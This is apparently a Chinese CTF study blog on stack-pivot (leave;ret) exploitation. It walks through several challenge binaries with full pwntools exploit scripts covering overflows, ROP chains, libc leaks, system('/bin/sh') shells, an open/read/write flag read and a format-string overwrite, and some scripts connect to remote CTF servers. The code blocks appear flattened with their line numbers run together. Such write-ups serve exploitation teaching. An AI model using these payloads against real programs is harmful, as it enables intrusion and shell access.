最近几天把栈迁移的知识点重新整理了一下,下面是参考链接:
https://www.bilibili.com/video/BV1np4y1d7pu/?spm_id_from=333.788.recommend_more_video.0
https://www.yuque.com/cyberangel/rg9gdm/aooqgb
简介 目的:与输入函数搭配使用,实现任意地址写;变相增加溢出长度
本质:将rbp/rsp迁移至其他地方的一种手段
常用指令:leave;ret
leave指令之前:
mov rsp,rbp(mov rsp to rbp)
pop rbp(把rsp指向的内容赋值给rbp)
覆盖到rbp——任意地址写
要使passwd和rbp-4是同一块内存,把rbp修改为passwd+4,第二次读入需要的密码
base64解码后不超过12,也就是输入s不超过16,但覆盖s都要30
给了md5加密后的值,v5(输入)赋给input,input赋给v4,但是会溢出4个字节
因为上面的v2不知道要输什么,所以下面的system肯定不会直接执行
为了便于分析,input存入如下内容aaaabbbbcccc
那么auth依然正常退出到main,但是main的ebp变成了cccc,当main要退出时,执行leave指令mov esp,ebp
esp变成了cccc,那么pop ebp就使得ebp = [cccc],接下来,retn 即执行call [cccc+ 4]
把bbbb改成system的地址,把cccc(父函数main的ebp)改成input_addr,那么就能getshell
1 2 3 4 5 6 7 8 9 10 import base64from pwn import * p=gdb.debug('./9eb304f8cf4641339ef4fd4b0f204b86' ) sys_addr=0x08049284 input_addr=0x0811EB40 payload=b'aaaa' +p32(sys_addr)+p32(input_addr) p.sendline(base64.b64encode(payload)) p.interactive()
覆盖到返回地址——增加栈迁移长度 泄露栈空间 直接打印栈地址
ret覆盖为leave_ret,那么会执行两次leave
先通过溢出把rbp改为0xa1
先mov rsp,rbp
执行lea的第二步——pop rbp之后rbp指向0xa1,rsp+8
执行ret,pop rip,rip指向leave_ret,同时rsp再加8
下面是再次执行完leave_ret之后,64位程序需要用ret来平衡堆栈
如果通过泄露libc基址算出/bin/sh地址可以直接填地址,这里只有字符串所以exp应该下面这样写
不泄露栈空间 前提:未开PIE保护
要迁移到bss段上,需要通过第二次read往bss段上写system相关的内容,下面read长度应该是0x60
把栈迁移到bss段,且不覆盖extern段,所以要在0x403000-0x404000范围内
rip中的ret执行,因为rsp在leave和ret中都要加8,第一个0x1会赋给rbp
这里stack实际上就是bss,高亮的0x58应该是0x50刚好覆盖数组
需要两个0x1填充,对应payload里的leave_ret两次移动rsp
————下面以三种不同迁移情况为例进一步介绍———— 迁移到栈 必然要泄露栈相关地址才能迁移到栈
NewStarCTF2023-stack_migration 有了栈地址,直接迁移到栈上
没有system的情况下就用ret2libc,注意返回之后栈地址需要重新泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import * filename='./pwn' elf=ELF(filename) libc=ELF('libc.so.6' ) context(arch=elf.arch,os='linux' ,log_level='debug' ) io=process(filename)def inter (): io.interactive()def sa (a,b ): io.sendafter(a,b) def sla (a,b ): io.sendlineafter(a,b)def ru (a ): io.recvuntil(a)def get_addr (): return u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))def s (a ): io.send(a) main=0x4011fb puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] pop_rdi=0x401333 leave_ret=0x4012aa ret=0x40101a sa("your name:" ,b'a' *8 ) ru("I have a small gift for you: " ) stack=int (io.recv(14 ),16 )+8 payload1=b'a' *8 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) payload1=payload1.ljust(0x50 ,b'a' ) payload1=payload1+p64(stack)+p64(leave_ret) sa("more infomation plz:" ,payload1) ru("maybe I'll see you soon!" ) puts_addr=get_addr() libc_base=puts_addr-libc.sym['puts' ]print ('libc_base:' ,hex (libc_base)) system_addr=libc_base+libc.sym['system' ] bin_sh=libc_base+next (libc.search('/bin/sh' )) sa("your name:" ,b'a' *8 ) ru("I have a small gift for you: " ) stack=int (io.recv(14 ),16 )+8 payload2=b'a' *8 +p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr) payload2=payload2.ljust(0x50 ,b'a' ) payload2=payload2+p64(stack)+p64(leave_ret) sa("more infomation plz:" ,payload2) inter()
ciscn_2019_es_2
两次读入,32位程序,溢出覆盖到ret,第一次输入来泄露程序里的ebp地址,知道ebp的地址就能够推算出参数s在栈上的地址,第二次直接往栈上写入system,之后利用leave_ret把栈劫持到参数s的栈,让它去执行布置在栈上的system来获取shell
并不会打印出真正的flag
printf函数在输出的时候遇到’\0’会停止,如果将参数s全部填满,这样就没法在末尾补上’\0’,那样就会将ebp连带着输出
1 2 3 4 payload=b'a' *0x27 +b'b' *1 p.sendline(payload) p.recvuntil('b' ) ebp=u32(p.recv(4 ))
泄露的ebp到参数的位置刚好是0x38
随便找个leave_ret
system找的是/bin/sh的地址,并不是字符串本身,所以/bin/sh前要有自己的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * filename='./pwn2' elf=ELF(filename) context(arch=elf.arch,os='linux' ,log_level='debug' ) io=process(filename)def s (a ): io.send(a)def ru (a ): io.recvuntil(a)def debug (): gdb.attach(io)def inter (): io.interactive() ru("Welcome, my friend. What's your name?\n" ) s(b'a' *0x27 +b'b' ) ru(b'b' ) ebp=u32(io.recv(4 ))print ('ebp:' ,hex (ebp)) s_addr=ebp-0x38 system_addr=elf.plt['system' ] leave_ret=0x8048562 payload=p32(system_addr)+b'a' *4 +p32(s_addr+0xc )+b'/bin/sh' payload=payload.ljust(0x28 ,b'\x00' ) payload+=p32(s_addr-0x4 )+p32(leave_ret) s(payload) inter()
2024basectf-stack_in_stack
泄露栈地址,可以迁移到buf上
搜索字符串找到泄露puts真实地址的地方
调试的时候可以发现执行pop rbp之前rsp和rbp已经指向同一个地址,所以这里用pop rbp代替leave
如果secret后面不加ret第二次打印buf的时候会报错,下面汇编语句表示栈未对齐,所以要加ret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import * filename='./attachment' elf=ELF(filename) libc=ELF('libc.so.6' ) context(arch=elf.arch,os='linux' ,log_level='debug' ) io=process(filename)def s (a ): io.send(a)def ru (a ): io.recvuntil(a)def debug (): gdb.attach(io)def get_addr (): io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )def inter (): io.interactive() secret=0x4011c6 leave_ret=0x4012F2 ret=0x40101a main=0x401245 read=0x4012b5 ru(b'It looks like something fell off mick0960.\n' ) buf=int (io.recvline().strip(), 16 )print ('buf:' ,hex (buf)) payload1=p64(secret)+p64(ret)+p64(main) payload1=payload1.ljust(0x30 ,b'a' ) payload1+=p64(buf-8 )+p64(leave_ret) s(payload1) ru(b'You found the secret!\n' ) puts_addr=int (io.recvline().strip(), 16 )print ('puts_addr:' ,hex (puts_addr)) libc_base=puts_addr-libc.sym['puts' ]print ('libc_base:' ,hex (libc_base)) system_addr=libc_base+libc.sym['system' ] bin_sh=libc_base+next (libc.search('/bin/sh' )) pop_rdi=libc_base+0x2a3e5 ru(b'It looks like something fell off mick0960.\n' ) buf=int (io.recvline().strip(), 16 )print ('buf:' ,hex (buf)) payload2=p64(pop_rdi)+p64(bin_sh)+p64(system_addr) payload2=payload2.ljust(0x30 ,b'a' ) payload2+=p64(buf-8 )+p64(leave_ret) s(payload2) inter()
迁移到bss段 HITCON-Training-master lab6-migration 32位程序
可以用的长度为为0x40-0x28=0x18,泄露libc24字节肯定不够,所以要栈迁移
直接泄露puts真实地址发现一直无法打印出来
后面发现puts_got最低字节是\x00,导致产生null字节截断,因此可以用setvbuf代替
pop1ret和pop3ret是read获取参数后把参数从栈上pop避免影响后续函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import * io=process('./migration' ) elf=ELF('./migration' ) libc=ELF('/lib/i386-linux-gnu/libc.so.6' ) context.log_level="debug" buf=elf.bss()+0x500 buf1=elf.bss()+0x400 read_plt=elf.plt['read' ] leave_ret=0x08048418 ret=0x08048356 pay1=b'a' *0x28 +p32(buf) pay1+=p32(read_plt)+p32(leave_ret)+p32(0 )+p32(buf)+p32(0x100 ) io.sendafter('Try your best :\n' ,pay1) puts_plt=elf.plt['puts' ] pop1ret=0x0804836d setvbuf_got=elf.got['setvbuf' ] pay2=p32(buf1)+p32(puts_plt)+p32(pop1ret)+p32(setvbuf_got) pay2+=p32(read_plt)+p32(leave_ret)+p32(0 )+p32(buf1)+p32(0x100 ) io.sendline(pay2) setvbuf_addr=u32(io.recv(4 )) success("setvbuf_addr = " +hex (setvbuf_addr)) libcbase=setvbuf_addr-libc.symbols['setvbuf' ] success("libcbase = " +hex (libcbase)) system_addr=libcbase+libc.symbols['system' ] pop3ret=0x08048569 gdb.attach(io) pay3=p32(buf)+p32(read_plt)+p32(pop3ret)+p32(0 )+p32(buf)+p32(0x100 ) pay3+=p32(system_addr)+p32(0xdeadbeef )+p32(buf) io.sendline(pay3) io.sendline("/bin/sh" ) io.interactive()
2024羊城杯-pstack
溢出到ret_addr,进行栈迁移
出现bss + 0x30是因为保证读入的起始地址对齐
泄露libc基址后直接ret2libc,最后传了两个ret(可以两个都不传)
rsp在bss - 8的位置经过两次leave_ret刚好可以到p64(pop_rdi)实现传参
因为read0x30字节,所以payload要ljust填充到0x30
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *from struct import packimport time filename='./pwn' elf = ELF(filename) libc = ELF("./libc.so.6" ) context(arch = elf.arch,log_level = 'debug' ,os = 'linux' ) debug = 0 if debug: io = remote('139.155.126.78' ,33002 )else : io = process(filename)def s (a ) : io.send(a)def sa (a, b ) : io.sendafter(a, b)def sl (a ) : io.sendline(a)def sla (a, b ) : io.sendlineafter(a, b)def r () : return io.recv()def pr () : print (io.recv())def ru (a ) : return io.recvuntil(a)def inter () : io.interactive()def debug (): gdb.attach(io)def get_addr (): return u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) def get_sb () : return base + libc.sym['system' ], base + next (libc.search(b'/bin/sh\x00' )) bss=elf.bss()+0x500 ret=0x400506 leave_ret=0x4006db pop_rdi=0x400773 puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] read=0x4006c4 pop_rbp = 0x4005b0 payload = b'a' *0x30 + p64(bss + 0x30 ) + p64(read) sa(b"Can you grasp this little bit of overflow?" , payload) payload2 = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rbp) + p64(bss + 0x300 + 0x30 ) + p64(read) payload2 += p64(bss - 8 ) + p64(leave_ret) s(payload2) base = get_addr() - libc.sym['puts' ]print (hex (base)) system, bin_sh = get_sb() payload3 = (p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(ret) + p64(system)).ljust(0x30 , b'\x00' ) payload3+=p64(bss + 0x300 - 8 ) + p64(leave_ret) s(payload3) inter()
2023HGAMEweek1-orw
、
栈迁移之后用orw读flag
需要注意payload1里面如果把read改成vuln或者main会破坏新设置的rbp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import * filename='./vuln' elf=ELF(filename) libc=ELF('./libc-2.31.so' ) context(arch=elf.arch,os='linux' ,log_level='debug' ) debug=1 if debug: io=process(filename)else : io=remote('node5.anna.nssctf.cn' ,25163 )def s (a ): io.send(a)def ru (a ): io.recvuntil(a)def debug (): gdb.attach(io)def get_addr (): return u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))def inter (): io.interactive() pop_rdi=0x401393 pop_rbp=0x40117d ret=0x40101a leave_ret=0x4012ee read=0x4012cf main=elf.sym['main' ] buf=elf.bss()+0x500 puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] payload1=b'a' *0x100 +p64(buf+0x100 )+p64(read) s(payload1) payload2=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_rbp)+p64(buf+0x200 +0x100 )+p64(read) payload2=payload2.ljust(0x100 ,b'a' ) payload2+=p64(buf-0x8 )+p64(leave_ret) s(payload2) puts_addr=get_addr() libc_base=puts_addr-libc.sym['puts' ]print ('libc_base:' ,hex (libc_base)) open_addr=libc_base+libc.sym['open' ] read_addr=libc_base+libc.sym['read' ] write_addr=libc_base+libc.sym['write' ] pop_rsi=libc_base+0x2601f pop_rdx=libc_base+0x142c92 payload3=b'/flag\x00\x00\x00' +p64(pop_rdi)+p64(buf+0x200 )+p64(pop_rsi)+p64(0 )+p64(open_addr) payload3+=p64(pop_rdi)+p64(3 )+p64(pop_rsi)+p64(buf+0x300 )+p64(pop_rdx)+p64(0x50 )+p64(read_addr) payload3+=p64(pop_rdi)+p64(1 )+p64(pop_rsi)+p64(buf+0x300 )+p64(pop_rdx)+p64(0x50 )+p64(write_addr) payload3=payload3.ljust(0x100 ,b'a' ) payload3+=p64(buf+0x200 )+p64(leave_ret) s(payload3) inter()
2020gyctf-borrowstack
1.bank的地址距离got表和plt表存放数据的位置太近(0x50),如果不用ret滑梯抬高栈帧(ret的时候rsp+8),接下来执行函数时,由于栈向上增长,可能会覆盖重要数据,导致函数无法成功执行。(0x100-0x20)/0x8=28,因此28是能写入的ret数量极限
2.后半段用one_gadget去getshell,将泄露的puts地址的最后3位输进去,找到libc版本,下载下来找一下one_gadget的地址,如果用system(“/bin/sh”),由于该函数执行需要大一点的栈空间,无法执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *from LibcSearcher import * filename='./gyctf_2020_borrowstack' elf = ELF(filename) context(arch = elf.arch,log_level = 'debug' ,os = 'linux' ) debug = 1 if debug: io = remote('node5.buuoj.cn' ,27812 )else : io = process(filename)def s (a ) : io.send(a)def sa (a, b ) : io.sendafter(a, b)def sl (a ) : io.sendline(a)def sla (a, b ) : io.sendlineafter(a, b)def r () : return io.recv()def pr () : print (io.recv())def ru (a ) : return io.recvuntil(a)def inter () : io.interactive()def debug (): gdb.attach(io)def get_addr (): return u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) bank=0x601080 puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] main=elf.sym['main' ] pop_rdi=0x400703 leave_ret=0x400699 ret=0x4004c9 payload1=b'a' *0x60 +p64(bank-8 )+p64(leave_ret) s(payload1) payload2=p64(ret)*28 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) s(payload2) puts_addr=get_addr() libc = LibcSearcher("puts" ,puts_addr) libc_base = puts_addr - libc.dump("puts" )print ('libc_base:' ,hex (libc_base)) shell=libc_base+0x4526a payload3 = b"a" *0x68 + p64(shell) s(payload3) s(b'a' ) inter()
类似pstack的思路也能打通
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *from LibcSearcher import * filename='./gyctf_2020_borrowstack' elf = ELF(filename) context(arch = elf.arch,log_level = 'debug' ,os = 'linux' ) debug = 1 if debug: io = remote('node5.buuoj.cn' ,26331 )else : io = process(filename)def s (a ) : io.send(a)def sa (a, b ) : io.sendafter(a, b)def sl (a ) : io.sendline(a)def sla (a, b ) : io.sendlineafter(a, b)def r () : return io.recv()def pr () : print (io.recv())def ru (a ) : return io.recvuntil(a)def inter () : io.interactive()def debug (): gdb.attach(io)def get_addr (): return u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) def get_sb () : return base + libc.sym['system' ], base + next (libc.search(b'/bin/sh\x00' )) bss=elf.bss()+0x500 ret=0x4004c9 leave_ret=0x400699 pop_rdi=0x400703 puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] read=0x400660 pop_rbp = 0x400590 payload = b'a' *0x60 + p64(bss + 0x60 ) + p64(read) s(payload) s(b'a' *0x100 ) payload2 = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rbp) + p64(bss + 0x300 + 0x60 ) + p64(read) payload2=payload2.ljust(0x60 ,b'a' ) payload2 += p64(bss - 8 ) + p64(leave_ret) s(payload2) s(b'a' *0x100 ) puts_addr=get_addr()print ('puts_addr:' ,hex (puts_addr)) libc=LibcSearcher("puts" , puts_addr) libc_base = puts_addr - libc.dump('puts' )print ('libc_base:' ,hex (libc_base)) system = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) payload3 = p64(pop_rdi) + p64(bin_sh) + p64(system) payload3=payload3.ljust(0x60 ,b'a' ) payload3+=p64(bss + 0x300 - 8 ) + p64(leave_ret) s(payload3) s('a' *0x100 ) inter()
迁移到随机地址 一般是覆盖不到rbp 且有其他漏洞,利用函数本身的两次leave_ret,由于第二次leave_ret时地址rbp随机导致exp概率打通
2024HGAMEweek1-ezfmt
不能有字符p和s,利用vuln和main的两次leave_ret
有后门
格式化字符串是第十个参数,到rbp距离为8,所以偏移总共是18
把0x10修改为0x48需要找二级地址
概率能通是因为地址随机,rip最后有概率会指向s栈空间,所以要尽可能多在s布置system的地址,会执行系统自带的两次leave_ret
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * context.arch="amd64" context.log_level="debug" p = process("./vuln" ) payload = b'%72c%18$hhnaaaaa' +p64(0x40123D )*6 p.sendafter(b'M3?\n' ,payload) p.interactive()